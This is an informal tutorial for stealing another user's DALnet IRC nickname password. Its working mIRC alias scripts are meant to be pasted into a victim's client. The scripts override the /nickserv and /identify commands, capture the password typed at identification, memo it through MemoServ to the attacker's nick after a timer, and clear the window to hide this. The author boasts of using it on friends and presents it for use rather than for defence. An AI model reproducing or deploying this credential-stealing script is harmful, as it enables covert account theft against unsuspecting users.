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A trick for getting somebody's Nick password. This is the trick
for mIRC, the victim will be unsuspecting. I have successfully tested
this thing on many of my friends with 100% results :-D. Hope you
find it interesting!
The process is that you just put this alias in the victim's IRC's
aliases section, and this will simply memo you(You must have a registered
nick on IRC) when the victim identifies his nick. This sure, requires
you to have access to the mIRC of the victim. This means having
physical or virtual access to the system. Now how to break into
the computer... this is beyond the scope of this paper :-).
Simply put this alias in the Aliases section. Go to Tools Menu and
click on Aliases, paste this alias at the end.
/nickserv {
/set %y1 $$1
if ( %y1 == identify ) {
/set %y2 $$2
/.msg nickserv@services.dal.net $1-
/.timer 1 480 /.memoserv send <Nick> Nick: $me Password: %y2
/.timer 1 485 /.clear
}
else /.msg nickserv@services.dal.net $1-
/.unset %y1
/.unset %y2
}
Make sure to replace <Nick> with a valid registered nick
of your own.
As you can see it clearly, the hang behind the whole thing is to
modify the /nickserv command so that it contains a little processing.
As such, the /nickserv command isnt in the mIRC program itself,
it is processed by the server you are connected to. What we will
do is to modify it locally, in mIRC. It would check every issuance
of /nickserv command whether the perimeter (i.e. is the word preceding
/nickserv) is "identify" or not. If the parameter is identify,
it will simply hold the password following it in a variable and
after some time elapses, it will memo the given nick (This should
be provided by you) the Victim's Nick and Password. If the perimeter
isnt "identify", it will silently issue the command to
NickServ,thus no harm done :-).
Sometimes people also use the /identify command, this makes this
really simple.It would be better if you copy this to aliases section
too.
/identify {
/set %y1 $$1
/.msg nickserv@services.dal.net identify $1-
/.timer 1 480 /.memoserv send <Nick> Nick: $me Password: %y1
/.timer 1 485 /.clear
/.unset %y1
}
This does the same thing, just that it is concise for concise people
:-P.
One other thing, this script is made for DALNet, just a model, tamper
it for the Server you use :-)
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